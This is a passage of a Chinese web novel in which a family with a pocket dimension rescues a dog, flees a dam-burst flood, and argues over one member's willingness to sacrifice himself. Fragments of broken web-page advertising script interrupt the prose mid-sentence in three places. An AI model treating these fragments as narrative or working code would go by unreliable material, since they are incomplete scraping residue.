“别啊,糊就糊嘛,闻着香就行了,味道指定差不了。”顾孟然从梁昭手里夺过托盘放回驾驶台,拿起托盘里的勺子,舀起一勺就往嘴里送。 一勺黏黏糊糊的皮蛋瘦肉糊下肚,见梁昭还看着自己,顾孟然意犹未尽地舔了舔嘴唇,笑吟吟地夸赞道:“好吃,焦香焦香的。” 不算说谎,味道确实不错,就是有点糊嗓子。 吃完早饭已经到了下班地点,顾孟然没急着回去睡觉,因为风翼号油舱里快没油了,需要及时补充燃油。 船舶加油颇为麻烦,通常是在港口或水上加油站与油船对接加油。 但顾孟然空间在手,风翼号一停稳,梁昭留在驾驶室盯着油表,顾孟然戴着防毒面罩下到底层甲板,在浓雾中摸索,找到并打开油舱口,直接上手快速加油。 空间省去了许多麻烦,却架不住风翼号油舱大。 往甲板上一蹲就是两个多小时,等油舱加满时,顾孟然双腿麻木,意识模糊,身体已经不是自己的了。 舱口盖复位,顾孟然迈着沉重的步伐往回走。 距离不算太远,只用了五分钟,顾孟然凭着记忆摸索到舱门口。可就在他握住门把手,即将推门而入时,一声凄厉的怪叫盖过发动机的嗡鸣传进耳朵。 声音很奇怪,像是动物的嚎叫又像是呜鸣,响了一声便没了。 有那么一瞬间,顾孟然以为自己熬夜熬出了幻觉。他假装没听见,抬脚刚要进屋,下一秒,叫声愈发洪亮,无比清晰地回荡在耳畔。 “嗷嗷嗷呜——汪——” 18. 第 18 章 * “梁昭,狗,狗!水里有只狗子。” 顾孟然趴在护舷上地四处张望,虽然什么也看不见,但他很快通过声音判断出具体方位,急急忙忙掏出对讲机和梁昭分享。 前几个字连在一起多少有点歧义,对讲机那头的梁昭沉默了一瞬,而后道:“要救吗?你想养它?” 想自然是想的,顾孟然喜欢小动物,但狗子不会凭空出现在江里,想到这,他赶忙交代梁昭:“还是先看看雷达吧,附近可能有船只遇险。” 梁昭应了一声,过了约莫两分钟,低沉的嗓音再次从对讲机里传来:“没有发现船只,要么船已经开走了,要么是从上游过来的,想好了吗?要救吗?” 仿佛听到了梁昭的话,话音刚落,江水里又传来狗子哼哼唧唧的哀嚎。 听声音离风翼号不远,费不了多大劲儿,顾孟然犹豫再三,索性一咬牙:“救!捡回来养着,说不定还能帮我们看家护船呢。” 梁昭笑了笑,“好,那你先回驾驶室换我,我下——” “换你干嘛?我直接下去捞不就行了。”顾孟然打断他的话,“来来来,我拿个柴油小船出来,你用起重机把我放下去。” 顾孟然说完便摸索着走到起重机旁,就地掏出柴油艇。 梁昭还在对讲机那头劝说,说他一夜没睡,精神恍惚,这个状态下水不安全。 顾孟然一听不乐意了,笑着反问:“你下去就百分百安全了?我自己想救它的,不能让你来冒险。” 梁昭还欲说话,顾孟然及时出声,小声埋怨:“好了好了梁昭,也不知道狗子在水里泡多久了,再聊下去估计都快淹死了。” 梁昭犟不过他,无奈妥协。 柴油小船和起重机牢牢固定住,顾孟然钻进小船一声令下,起重机开始运转,塔头吊着柴油小船缓慢上升。 小船高度超过风翼号护舷,顾孟然及时与梁昭汇报,而后机架开始转向,将小船从平坦的甲板平移到江面上空。 船身微晃,整艘船彻底悬在半空中,顾孟然丝毫不慌,一手拿着强光手电在黑洞洞的江面搜寻,一手拿着对讲机与梁昭沟通,及时调整方向。 这场救援行动还算顺利,用时约三分钟,顾孟然循着声源成功找到目标。 “嘭——” 小船入江,水花飞溅,水中不断扑腾的小狗受到了不小的惊吓,四条腿胡蹬乱踢试图远离。可它早已精疲力尽,顾孟然驱船靠近它才游出去不到半米,可怜兮兮地泡在水里。 刚开始隐约看到一团黄色影子,顾孟然以为是只金毛犬,这会儿靠近了才发现,黄狗白面,金钱卷尾,小家伙是只不折不扣的田园犬。 黄江开宠物盲盒,顾孟然倒不在意品种,但养过田园犬的都知道,这家伙只认主人,对陌生人那是真凶啊! 这节骨眼儿要是被咬上一口,狂犬疫苗都找不到地打。 于是顾孟然放弃了直接上手的打算,转而从空间里拿出一把捞鱼的抄网,屏住呼吸,试探着一点一点地靠近狗子。 整个过程异常的顺利,许是力竭了,小家伙没有反抗。顾孟然打铁趁热,用抄网将狗子身体全部套住,随后用力一提。 “哗哗哗——” 湿漉漉的狗子成功打捞上船,还免费附赠了半舱江水。 水溅得到处都是,顾孟然鞋子裤子全湿了,但他没空在意,匆匆调转船头驶向起重机。 柴油小船重新连接起重机,顾孟然垂眸看了狗子一眼。 不看不要紧,就是这随意一眼,看着它瑟瑟发抖的身体,对上那弱小可怜又无助的眼神,顾孟然心软得一塌糊涂。 本想直接装在抄网里带回去,顾孟然越看越不忍心。瞧它虚弱的样子,估计也没力气咬人了,犹豫再三,顾孟然伸手靠近,“小黄,我可不想当吕洞宾啊。” 小黄没有令人失望,顾孟然动手将它从抄网中解放出来,它哼哼唧唧给出回应,跟水壶烧开了似的,乖乖蜷缩在船舱里。 “好狗。”顾孟然胆子也大了,趁机摸了一把狗头。 摸是摸上了,但这手感……怎么怪怪的? 狗头黏黏糊糊,滑不溜秋的,不像毛茸动物,反倒像是一条冰冷而黏腻的蛇。 顾孟然有被自己的脑补恶心到,他俯身凑近,借着微弱的光线仔细查看,只见狗头乃至身体四肢,全部裹着一层厚厚的泥。 不仅如此,顾孟然低头一瞅,发现自己的鞋裤也裹满泥浆,而刚才捞狗带上的“水”随船身晃荡,宛如浓稠丝滑的焦糖珍珠奶茶。 顾孟然心里咯噔一声,一种不祥的预感涌上心头。 不久前经历过地震,江水浑浊很正常,但目前显然已经不能用浑浊来形容了,这分明就是一江泥汤。 回到风翼号,顾孟然给小黄裹了张毛毯,暂时安置在驾驶室。随后他匆匆把外公叫到驾驶室,及时给老爷子和梁昭说明江面情况。 有些事还得经验丰富的老人来判断,顾孟然敏锐地嗅到了危险,却远没有意识到严重性。而老爷子一听这话,果断拍桌起身,“上岸,立刻上岸!” “啊?”顾孟然还有点懵,“怎么突然就上岸了,如果只是上游山体滑坡,我们提前做点防范措施不行吗?” 江水浑浊多半受地震影响,或是上游山体滑坡导致。目前还未下雨,顾孟然理所当然地认为泥土入江搅浑了江水,威胁性不算大。 老爷子皱眉凝目,反问顾孟然:“只是?谁能保证只是山体滑坡?小子,刚才下水你注意到水流速度没有?” 顾孟然点点头,“江面很平静,跟湖面一样,一点儿浪都没有。那会儿小黄都游不动了也没有被水流冲走。” 这也是顾孟然觉得问题不大的主要原因。 老爷子显然不这么想。 他透过窗户看向黑洞洞的江面,饱经风霜的面庞愈发凝重,声音略微沙哑:“前面不远就是临淮峡,沿途两岸奇峰陡立,不怕山体滑坡,就怕山崩啊!” “不能吧,山崩浪大才对吧?”阵阵寒意爬上背脊,顾孟然还在死鸭子嘴硬,心里却默默计划着上岸的方案。 老爷子迟迟没有回答他,这时,一直未曾开口的梁昭缓缓启唇,道出一个令人毛骨悚然的猜测:“堰塞湖。” 顾孟然噌地站起身,“走走走,现在立刻马上走。” 空间给了他们说走就走的底气,只是风翼号靠岸麻烦且费时间,遇事儿还得柴油小船出马。 起重机需要人来操控,三个人注定不能同时离开。为此,三人各执一词,互不相让,争论半晌才得出一个结果。 顾孟然和孟高阳先走,梁昭留在船上操控起重机。 仅用了几分钟,顾孟然和孟高阳乘坐柴油小船先行下到江面。而梁昭将起重机归位,关闭船上所有设施设备,最后来到甲板,踩着顾孟然提前准备好的逃生软梯登上小船。 忘了什么也不能忘了家,梁昭成功登船后,顾孟然果断抬手覆上风翼号的船身。他心念一转,不过短短一瞬,宛如高楼的庞然大物瞬间消失在眼前。 江面烟波浩渺,风平浪静。 可越是平静,顾孟然心里就越是不安。 小黄蜷在怀里一动不动,顾孟然轻抚它的脑袋,无比庆幸小黄的出现,也庆幸自己选择下船救它,从而发现异常。 一切都非常顺利,三人一狗乘坐柴油小船成功上岸,重新体会脚踏实地的感觉。 顾孟然将泥泞不堪的柴油小船收回空间,正准备和外公、梁昭一同远离江 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 边,突然间,一声巨响犹如山崩地裂般传来。 “——轰隆,轰隆隆!” 好似惊雷炸响,巨大的声响铺天盖地,从四面八方袭来。与此同时,大地开始震颤,地震仿佛卷土重来,一时间,黄江两岸地动山摇。 顾孟然脑瓜子嗡嗡的,被晃得险些站不稳。巨响震得耳膜生疼,他还没搞清楚发生了什么,手腕忽然被人一把抓住。 “快,快跑!上游有东西下来了。”梁昭一手抓着他,一手抓着老爷子,以一股不容抗拒的蛮力带动两人奔跑起来。 顾孟然如梦初醒,回过神果断把怀中狗子收进空间,一边全速奔跑,一边将目光转向梁昭和外公。 有那么一瞬间,顾孟然想把外公和梁昭也一并收进空间。可转念一想,万一自己没跑掉,岂不是剥夺了他们逃生的权利,反倒连累了他们。 三个人一起躲进去更不切实际,因为哪里进哪里出,万一两岸被水淹没,那他们出来也只会在波涛汹涌的江水中。 能见度极低,根本看不清上游景象。雷鸣般的响动无时无刻不在提醒着顾孟然,堰塞湖溃决,淤积的江水凝成一道道巨浪,挟着雷霆之势瞬间涌向下游。 没别的办法了,跑! 顾孟然咬牙提速,拼尽全力奔跑,速度竟与梁昭不相上下。可孟高阳年纪大了,体力不如年轻人,没跑出多远,他累得气喘吁吁,脚下打起了踉跄。 水声越来越近,这样下去不行。 顾孟然刚准备伸手去拉外公,打算让他躲进空间,梁昭快他一步,俯身抱着老爷子腰,一把将人扛起来继续跑。 居然还能这样! 顾孟然瞳孔微缩,没来得及做出下一步动作。 “——轰轰轰轰!” 声势浩大的水浪汹涌而至,听声音应该只剩不到百米。顾孟然后背莫名一凉,甚至感觉到一股恐怖的力量在拖动着身体后仰。 他身形微晃,险些没站稳,还好梁昭及时拉了他一把。 跑,玩命似的跑,一秒不敢停歇。 粗重急促的呼吸声瞬间被轰鸣声吞没,注意力皆被咆哮的洪水吸引。只顾身后未顾身前,顾孟然跑着跑着脚尖猛地袭来剧痛,身体不受控制地向前栽去。 没有像预想中那般摔个狗吃屎,身体仅是稍微向前倾斜了一些,顾孟然下意识伸出去的双手撑到一块硬物。 石头?不,又高又大,像是一块巨型石板。 指腹触摸到清晰的纹路,顾孟然突然就明白了这是什么,“梁昭梁昭,是防洪坝!我们有救了!” “别愣着,你先上去帮忙!” “行!” 顾孟然高声回应,手脚并用地往上爬。 一鼓作气爬上堤坝,顾孟然掌心火辣辣地疼,大气儿都来不及喘一口,他急忙转身匍匐在地,朝梁昭伸出双手。 防洪坝呈45度前倾,高度近五六米,毫无疑问,背着个一两百斤的人肯定上不去。 没有任何犹豫,梁昭果断将老爷子放下,不等孟高阳做出反应,梁昭抱着他的双腿用力往上一提,奋不顾身地把他送到顾孟然手里。 连推带拉,老爷子气喘吁吁地登上堤坝。 而就在顾孟然转身将手递给梁昭的同时,洪水来了。 酝酿已久的洪水滚滚而来,带着极强的压迫感,仿如一座巍峨雄伟的高山瞬间倾覆,以摧枯拉朽之势横扫江面,将两岸无情卷入深渊。 浓雾被水冲散,顾孟然能清楚地看见,梁昭所处位置必遭殃及。 十米、八米、三米…… 顾孟然紧咬后槽牙,半个身子已然滑下堤坝,尽可能地伸长手臂。然而指尖触碰到梁昭的瞬间,汹涌的洪水骤然将他吞噬。 “梁昭,梁昭!” 19. 第 19 章 * 巨浪翻滚,滔滔江水倾泻而下,亦如猛兽出笼。 令人心悸的咆哮声震耳欲聋,洪流裹挟着树木、石块急速冲向下游。宽阔的河道瞬间被填平,短短数十秒间,黄江几乎扩大了两倍不止,所过之处满目疮痍。 堤坝上的人逃过一劫,两岸沦为翻腾汹涌的江河。 顾孟然和孟高阳浑身湿透,裹了一身泥汤,瘫坐在堤坝上喘着粗气。而没来得及爬上堤坝的梁昭……似乎与两岸树木一同随洪流离去,消失得无影无踪。 轰隆隆的水声不绝于耳,周围空气变得压抑而窒息。 顾孟然躺在地上一言不发,泥水遮住了他大半张脸,看不出神情。但孟高阳不用看都知道,此时此刻,他心里应该非常难受。 被洪水卷走有概率存活吗? 就这个水势,绝无可能。 别说顾孟然了,孟高阳心里也很不是滋味。 旁的不说,梁昭和他们一起生活了这么久,一起经历了这么多,就算非亲非故也多少有点感情,更何况别人还是为了救他…… 眼睁睁看着他被洪水带走却无能为力,孟高阳胸口就像压了一块石头,闷得他喘不过气。 人死不能复生,活着的人还得继续活下去。 毕竟是活了大半辈子的人,孟高阳很快压下情绪振作起来。 他抹开脸上的泥水坐起身,轻轻拍了拍顾孟然的肩膀,“走了小子,这堰塞湖不知道多大,也不知道还有没有下一波,我们现在得尽快远离黄江。” 本以为要费一番功夫来安慰、开解顾孟然,不料话音刚落,顾孟然噌地站起身,抹了把脸,甩了甩头,连江面都不曾多看一眼,大步流星地朝前方走去。 这反应不对啊! 老爷子一头雾水,稍微愣了下神,这时,已经走出去一段距离的顾孟然回头看他,“走啊外公。一身泥黏死了,我们先找个安全的地方洗澡。” “欸,就来。”孟高阳快步跟上去。 不对劲,相当不对劲。 孟高阳宁愿他大哭大闹,也不愿他装作无事发生一般故作镇定。 犹豫再三,孟高阳温声提议:“孟然,要不、要不我们去下游找找,万一呢对吧?” 顾孟然充耳不闻,埋头赶路。 孟高阳急了,“别不说话啊孟然。相识一场,活要见人死要见尸,就这么一走了之不合适。外公知道你心里难受,走一趟试试吧,总归还有一线希望。” “外公。”顾孟然步子放缓了些,侧目看了老爷子一眼,“什么尸不尸的,我没事,梁昭也没事,都好好的。” 老爷子一颗心提到了嗓子眼:“啥叫梁昭也没事?” “就没事啊,他没死。”顾孟然不以为意地耸耸肩。 完了完了!老爷子一巴掌拍在额头上。 怕不是打击太大,这小子开始逃避现实了。 这样下去要出大问题,孟高阳倒吸一口凉气,“孟然,你可别吓我。想哭就哭,想闹就闹,你不是一个人,还有外公呢,外公抚养你长大,你不得给外公养老送终啊?” …… 走了将近半个小时,老爷子喋喋不休地说了半个小时。 顾孟然始终一声不吭,直到翻过一处高耸的山坡,来到狭窄蜿蜒的乡间小路上,他这才停下步伐,原地坐下休息。 “差不多了,应该安全了。”顾孟然累得够呛,呼吸略显急促。缓过劲儿他从空间里掏出两瓶矿泉水,顺手将其中一瓶递给老爷子,“坐啊外公,喝点水休息一下。” 水接了,孟高阳没急着坐,站在身前居高临下地看着他,“你到底有没有听我说话?” “听着呢。想开点,人都有一死,不过早晚的事……” 顾孟然将老爷子的劝慰复述了一遍,说得口干舌燥,拧开矿泉水瓶吨吨吨地喝了大半瓶,又笑笑道:“但是外公,梁昭真没事。” “没事没事,光说没事,那人在哪呢?指给我看看。”孟高阳愁得不行,话虽这样说,但顾孟然要是真指着空气说在这,他恐怕会当场晕过去。 “好吧。”顾孟然果断向外公伸出手,“手给我。” “让你指给我看,手给你做——” “相信我嘛外公,我又不会害你。” 孟高阳闻言长叹一口气,无奈伸手递出去。 两只手在半空中相接,孟高阳只觉得眼前一黑。 三分钟后,适应光线的孟高阳缓缓睁开眼,仿佛被凌空落下的闪电精准命中,僵硬地愣在原地。 浑浊的浓雾尽数散去,视野变得极为开阔。 明亮的光线,湛蓝的天空,潺潺流淌的溪流,成群结队的牛羊,还有——瑟瑟发抖的狗,死而复生的人。 这谁看了不傻眼?老爷子瞳孔紧缩,嘴唇颤抖个不停,酝酿良久才艰难道出心中疑问:“孟然,咱们、咱们这是都死了……到天堂了吗?” “哪能啊外公,这是空间,空间的另一个功能。” 担心外公一时间理解不了,受到惊吓,顾孟然紧紧握住他的手。可下一瞬,左手忽然被外公反握住,力道之大,差点把顾孟然的手骨捏碎。 察觉到不妙,顾孟然掰开外公的手拔腿就跑,老爷子的雷霆之怒紧随其后。 “顾孟然!我限你三份之内给我解释清楚。” “洗澡,外公我先去洗个澡!” * 暴风雨过后的宁静来之不易,上游溪流旁,三人并肩躺在坑坑洼洼的土地上,一点儿也不嫌硌得慌。 顾孟然枕着手臂早已沉沉睡去,老爷子和梁昭有一搭没一搭地闲聊,不约而同地压低了嗓音。 从梁昭口中得知空间的由来及作用,眼前这寸草不生的荒地,孟高阳怎么看怎么稀罕。 当然了,问题也是一茬接一茬。 “这里的天不会黑?” 刚回答完一个问题,另一个问题紧跟着抛出来,梁昭耐心十足,压低嗓音不紧不慢地回答:“应该不会。我来过两三次,每次都是不同时间,没见过这里的夜晚。” “哎哟,这儿可真是个好地方!有水有地,与世隔绝。可惜不能一直住在这儿,不然别说地震、洪水,就算往后陆地彻底没了也不带怕的。”孟高阳咂咂嘴,眼底满是遗憾。 梁昭笑了笑,“往好处想,我们可以在这种植粮食,遇到危险还能紧急避险。与其他人相比,我们很幸运。” “那倒是。我们孟然是有福之人,我原以为储物空间已经是老天爷对他的眷顾了,谁承想还藏着这个好玩意儿。” 老爷子开怀大笑,笑着笑着似乎想到了什么,板着脸严肃道:“你俩浑小子不当人呐,这么重要的事情居然瞒着我。那会儿我真以为你被洪水冲走了,心里别提多难过。” “对不起孟爷爷,下次不会了。” 梁昭声音极轻,态度尤为诚恳。 孟高阳摆摆手,“跟你没关系,不用想都知道肯定是顾孟然的主意。” “他也是担心吓到你。” “担心?”孟高阳气不打一处来,“以为你人没了,路上我嘴皮子都磨破了,想方设法地安慰他。结果呢?他明明可以跟我解释清楚的,非要故弄玄虚,故意吊人胃口。” 梁昭挑了下眉,“他没说我还活着?” “说倒是说了,”老爷子摸了摸鼻头,有些心虚道:“但随口一说,连句解释都没有,让我怎么相信?” “孟爷爷,他不会拿这种事情和你开玩笑。” 不清楚当时到底怎么回事,但梁昭几乎想都没想,果断帮顾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 孟然说话:“他将近两天没睡,又下水捞狗,又和洪水赛跑,可以说是筋疲力竭。他不是故意吊胃口,我想他只是太累了,实在没精力解释。” 这话一出,老爷子面色微僵,眼底闪过一丝愧色,“我倒是忽略了这一点。是啊,浑小子两天都没休息,指定是累坏了,躺在硬邦邦的泥里都能睡着,我还在这……哎!” “没事儿孟爷爷,他听不见。”梁昭一本正经道。 “哈哈哈……”孟高阳笑逐颜开,伸手拍了拍梁昭的肩膀,语重心长道:“外公上年纪了,记性不太好。你呀,平时帮外公多照顾照顾他,多关心关心他。” 不等梁昭细品话里的意思,孟高阳话锋一转,“说起来外公也得谢谢你,今天多亏你舍命相救,不然我这把老骨头怕是逃不过这一劫。” “不会的外公,你——” 说一半梁昭忽然意识到被老爷子带偏了,他余光一扫,无意触及孟高阳似笑非笑的眼神,淡笑一声不再说话。 外界风雨飘摇,空间岁月静好。留在空间休息无需提心吊胆,但不能携带物资也就意味着,这里不适合长时间逗留。 一觉睡醒,顾孟然腰酸背痛腿抽筋,肚子饿得咕咕叫,浑身上下哪哪都不舒服,像是被人一顿暴揍。 空间固然安全,但现实逃避不了,胃里迫切的饥饿感时刻提醒着他,该离开了,该回归现实了。 揉了揉酸痛不已的肩膀,顾孟然抬手看了眼时间,已经下午五点多了。一同躺在地上的外公和梁昭早已不见踪影,他四下环视一圈,在不远处溪边看到两人的身影。 梁昭和老爷子挽着裤腿淌在溪水中,正在给泥泞不堪的小黄翻新。 两人分工合作,配合默契,梁昭捏住狗嘴、狗腿将狗子放倒按在岸边,外公从溪边捧水浇狗,像个娴熟的老技师一般认真给狗子搓泥。 刚从水中捡回一条狗命,再次接触到水,小黄多多少少有点应激。它四条腿乱蹬用力挣扎,无奈敌不过梁昭的力气,张不开的狗嘴溢出可怜兮兮地哀嚎。 没能第一时间清洗,狗子身上的泥浆都干透了。大大小小的泥块渗透毛层,没有容器也没有沐浴露,很难一次性清洗干净。 狗子挣扎得厉害,吓坏了也麻烦。 简单清洗了一番,肉眼看不见泥的程度,老爷子抹了把汗,气喘吁吁道:“行了行了,给它洗澡顺带给我也洗了个澡,折腾死了,回头让孟然自己来弄,他最喜欢这些。” 梁昭“嗯”了一声,逮着狗子在水里涮了两下,轻轻将它放上岸。 小黄惊吓过度,四肢抖如筛糠,但回到岸上它没有第一时间逃跑,严格遵循湿狗摇摆定律,骤然化身螺旋桨,刷刷刷地摇晃身体。 避之不及,梁昭和老爷子被甩了一脸水。 洗也没洗干净,水里还掺着浑浊的泥点子,老爷子本来还有点恼,抬头一看,刚刚走近的顾孟然也惨遭殃及,淋上一阵局部小雨。 “哈哈哈……”老爷子幸灾乐祸,指着他哈哈大笑,“来得早不如来得巧啊小子,给你醒醒脑子。” 顾孟然甩了甩头发上的水珠,无奈叹气,“洗完了就走吧,肚子饿了。” “哎!”老爷子笑容一秒消失,也跟着叹了口气,“这里空气多新鲜啊,出去又是昏天暗地的,还真有点舍不得走。” “反正还要种地,以后可以经常来。”梁昭随口安慰了一句,目光触及湿漉漉的小黄狗,轻声询问顾孟然的意见:“狗也带出去吗?” 顾孟然掉头就走,仿佛梁昭不存在一般,一声不吭,从头到尾没有分给他一个多余的眼神。 老爷子嗅到不妙的气息,扭头看向梁昭,“他这是在甩脸子?谁惹他了?” 梁昭嘴唇紧抿,低眉敛目眸色微沉,“应该是我。” 20. 第 20 章 * 黄江暂时回不去了,这场差点将人打包带走的洪水敲响警钟,在浓雾散尽、能见度回升之前,接下来的路只能靠双腿来走。 天色昏暗,浑浊的浓雾将傍晚染成了午夜,曲径通幽的山间小路不着村不着店,从空间出来后,三人一致决定原地休整一夜。 挑个块平整的空地将帐篷搭起来,顾孟然从空间拿出一个打气筒、一叠全新未开封的户外充气床垫,吭哧吭哧地打满气。 地板太硬,睡袋太热,充气床垫正好合适。 第一次用麻烦了点,但明早走的时候不放气,直接收进空间,下次用就方便了许多。 气温明显升高,给床垫充个气而已,顾孟然热得满头大汗。不过当他掀开帘子从帐篷里出来时,一切都是值得的,不算美妙的心情顿时多云转晴。 杂草丛生的荒地彻底大变样,简易三角帐篷矗立在道旁,门前折叠桌椅整齐摆放,桌上户外电源闪着信号灯,两盏户外照明灯悬挂在帐篷边上,将晦涩的黑暗照亮。 好日子到头了,往后每天都是这种日子。 条件允许的话,还是尽可能地过舒坦一些。 鬼门关里走一圈,又饿了一天的肚子,顾孟然不愿委屈自己吃速食。反正桌椅板凳都搭好了,他索性取出煤气罐和锅碗瓢盆,挽起袖子开始做饭。 肚子饿了,花样就不整了。 蒸上一锅米饭,剁一只鲜鸡,再切三个土豆,三个薄皮青椒,洗巴洗巴直接一锅烧。 干花椒干辣椒、姜葱蒜大料,再来半块火锅底料,热油一炒别提多香,可以说是烧鞋垫都难吃不了。 焯过水的鸡块下锅翻炒均匀后,加入老抽料酒,最后加水没过鸡块,锅盖一盖,顾孟然彻底闲了下来,托腮蹲在灶边上琢磨起来。 待在风翼号还好,每天现煮现做也不嫌麻烦,可这出门在外,赶一天路还要在外边支个灶做饭……直接戴上痛苦面具。 顾孟然后悔了,早知现在,当初在风翼号就不该躺平,闲来无事多做点吃的放空间里,出门后即拿即吃,不耽误时间还能随时吃上好的,甚至连加热都省了。 失策啊! 现在已经没这条件了,顾孟然只能想想,耷拉着脑袋叹上一口气。 “孟然。” 头顶落下一道阴影,略微沙哑的嗓音在身后响起。 顾孟然跟没听见似的,头也没抬一下。 梁昭并不介意他的无视,屈膝蹲在顾孟然身旁,鼻尖微动嗅着空气中的麻辣香,近乎讨好道:“好香,还是你的厨艺好,和餐厅里的味道一样。” “我好像闻到了火锅味,放底料了?” 缓和气氛的开场白并不奏效,任凭梁昭磨破嘴皮子,顾孟然恍若未闻,愣是一声不吭。 梁昭还未意识到问题的严重性,目光从燃着火焰的灶台转移到顾孟然脸上,放低声音诚恳道:“对不起,今天是我考虑不周,但——” “但你是为了我好,不想连累我们,”顾孟然倏地抬起头,瞪大眼睛看着梁昭,大声质问道:“所以才会在洪水来临前松开我的手,然后准备一个人去死,对吧?” 洪水袭来前一秒,顾孟然分明碰到了梁昭。可梁昭似乎觉得来不及,没有一丝一毫的犹豫,自作主张松开手。 还好顾孟然及时察觉他的意图,死死攥着他不肯撒手,有惊无险地把他收进空间,要不然,梁昭别说蹲在这儿跟他说话了,估计连尸体在哪都找不到。 顾孟然窝着一肚子火,把梁昭收进空间就不再搭理他,如果不是外公非要见,他甚至想着把梁昭关起来,关两天再说! 顾孟然不擅隐藏情绪,他的愤怒梁昭看在眼里。 梁昭没有为自己辩解,凝眸紧盯着顾孟然,沉吟几秒后再次道歉:“对不起,当时情况紧急,我忘了你还有空间。” “哦,意思是没有空间你就可以这样做?” 顾孟然一头扎进牛角尖,气得浑身发抖,眼眶瞬间红了,“我知道你梁昭,你嘴上答应得好好的,和我们是一家人,结果呢,你还是把自己当外人,遇到危险第一个想着牺牲自己!你当自己是可以随时丢弃的牺牲品吗?” 一想到梁昭可能会死,顾孟然声音骤然拔高,身体不受控制地颤抖起来,他迅速别开脸,掀开锅盖翻炒鸡块来掩饰自己失控的情绪。 热油与炒锅碰撞,缭绕的烟雾升腾而起,亦如僵硬的气氛,弥漫在两人之间。 梁昭眉心紧拧,垂在身侧的手下意识抬起,缓缓落在顾孟然肩膀,很轻很轻地拍打,“如果可以,我也很想和你、和孟爷爷一起好好活下去。我并非舍己为人的英雄,正因为是家人,我才不愿让你们身临险境。” “今天我一时冲动,让你担心了。下次做出决定前,我一定三思而后行。”梁昭俯身往前凑了一点,把自己送到顾孟然眼前,柔声安抚:“不要生气了好不好?” 梁昭把姿态放得很低,顾孟然却并不买账。 道理他都懂,如果当时位置互换,他恐怕也会做出和梁昭一样的决定。但梁昭……他已经失去过一次了,他绝不能眼睁睁看着梁昭再次死在眼前。 兴许雾太浓,顾孟然胸口闷得慌,总感觉呼吸不畅。 深吸几口气,竭力平复心情,顾孟然吸了吸鼻子看向梁昭,“我没有权力干涉你的决定,也没有资格生气。可是我呢?万一你有个好歹,我怎么办?带着愧疚活下去,还是陪你一起死?” 死,陪你一起死—— 尾音穿透耳膜,仿如凌空飞来的子弹正中眉心。 梁昭身形微晃险些栽倒在地,脑子里突然“嗡”的一声响。像是有人连拖带拽将他强行按进水里,冰冷的海水瞬间将他团团包围,强烈的窒息感让他感到呼吸困难。 周遭场景开始迅速变化,瞬息之间,黑雾笼罩的荒野变成了一望无际的大海。 风起浪涌,碧浪滔天,恍惚间,他感觉意识即将随身体沉入海底,而就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在这时,一双手拼尽全力将他从水里捞出来,绝望而无助的哭喊蓦地在耳畔炸响: “梁昭!坚持住梁昭,不要,不要死!” “不要丢下我一个人,你、你答应过我的……” “如果太难受了、太难受了就走吧梁昭,不要走太快,稍微慢一点,等等我,记得等等我,我马上就来陪你。” …… “梁昭,梁昭你怎么了?” 哭喊声渐渐与现实重叠,梁昭如梦初醒,整个人瘫坐在地,像是刚爬完一座山,胸口剧烈起伏,大口大口地呼吸着新鲜空气。 额头上细密的汗珠好似雨滴,一动便簌簌地往下掉。他无暇在意,转动脑袋快速环顾四周,迫切地确认什么。 回来了,海水褪尽,黑蒙蒙的荒地,亮着灯的帐篷,冒着热气的炒锅,以及,朝他伸出手,一脸担忧的顾孟然。 胸口上沉甸甸的石头荡然无存,梁昭喘着粗气缓过神,攥着顾孟然的手腕轻轻一带,不容抗拒地将他搂进怀里。 猝不及防跌入一个温暖的怀抱,顾孟然明显一愣,下意识抬手推他,“你干什——” “不要,”梁昭结实的双臂用力收紧,仿佛溺水之人抱住救命的游泳圈,固执地不肯松手,如自言自语般低声喃喃:“不要陪我,不论如何你都要好好活下去,不要为任何人放弃自己。” 发泄过后理智回归,顾孟然以为他在回应自己刚才的话,环住梁昭肩膀轻轻拍了两下,“你我,外公,我们三个缺一不可,我不能接受失去你们任何一个人。梁昭,你对我来说……真的真的很重要。” “我知道了。”不知过了多久,梁昭再次启唇,语气虽轻却无比诚恳:“我保证,我不会再轻易放弃自己的性命,我会陪着你,陪着你和外公一起活下去。” 温热的吐息掠过耳畔,顾孟然不太自然地缩了下脖子。梁昭似乎以为他想走,环在腰间的手臂再度收紧,严丝合缝地将他搂在怀里。 不对劲,这人状态非常不对劲。 顾孟然眉头微蹙,蜷在梁昭怀里却无半点旖旎,捏捏他的肩膀轻声询问:“你刚才到底怎么了?一句话不说直冒冷汗,吓我一跳。” “我没事。”梁昭下巴尖儿抵着顾孟然的肩膀,眼底浓浓的眷恋悄无声息地融入黑暗中,“我只是……做了一个梦,一个很恐怖的噩梦。” 顾孟然:“你又没睡觉,怎么还做上梦了?” “一会儿就好,一会儿就好。”梁昭答非所问,抱着顾孟然不肯松手,悬着的心落到实处,急促的呼吸逐渐平复。 “好歹先从地上起来吧。” “不用,给我五分钟,就五分钟。” 他声音沙哑得厉害,顾孟然还是有点摸不着头脑,好在被梁昭抱着的感觉并不坏,索性任由他抱着。 不远处帐篷内,孟高阳透过门缝望着紧紧相拥的两人,急得抓耳挠腮,“啧,别光顾着谈情说爱啊俩臭小子,我的烧鸡别给我烧糊咯!” 21. 第 21 章 * 三个人挤一间帐篷,哪哪都好,就是热得慌。 第二天起床,顾孟然都快被汗水腌入味了,早饭都顾不上吃一口,他赶忙带着外公和梁昭去空间里洗了个冷水澡。 结果洗完澡出来,吃个早饭,收拾好帐篷及桌椅板凳,三人又热出了一身汗。 人还稍微好一点,忍一忍勉强扛得住。 可怜的小黄匍匐在地,吐着舌头直喘粗气,连昨天晚上最爱的油汤拌米饭也才吃了一半。顾孟然担心它耐不住高温中暑,出发前特意将它收进空间。 种种迹象表明,极端高温天气开始了,顾孟然摘下多功能手表测了一下,果不其然,气温已高达惊人的42℃。 尽管早有准备,顾孟然的心态还是小小地崩了一下。 因为可怕的不是高温天气,而是顶着高温天气赶路! 外公的老头乐还在空间里,顾孟然不是没想过开车出行,但目前这个能见度,估计开不到十米就得栽沟里。 营地收拾完毕,顾孟然给梁昭和老爷子一人分了一个双肩背包,包里装了一些零食和水,主要是担心在路上遇到人,为了掩人耳目。 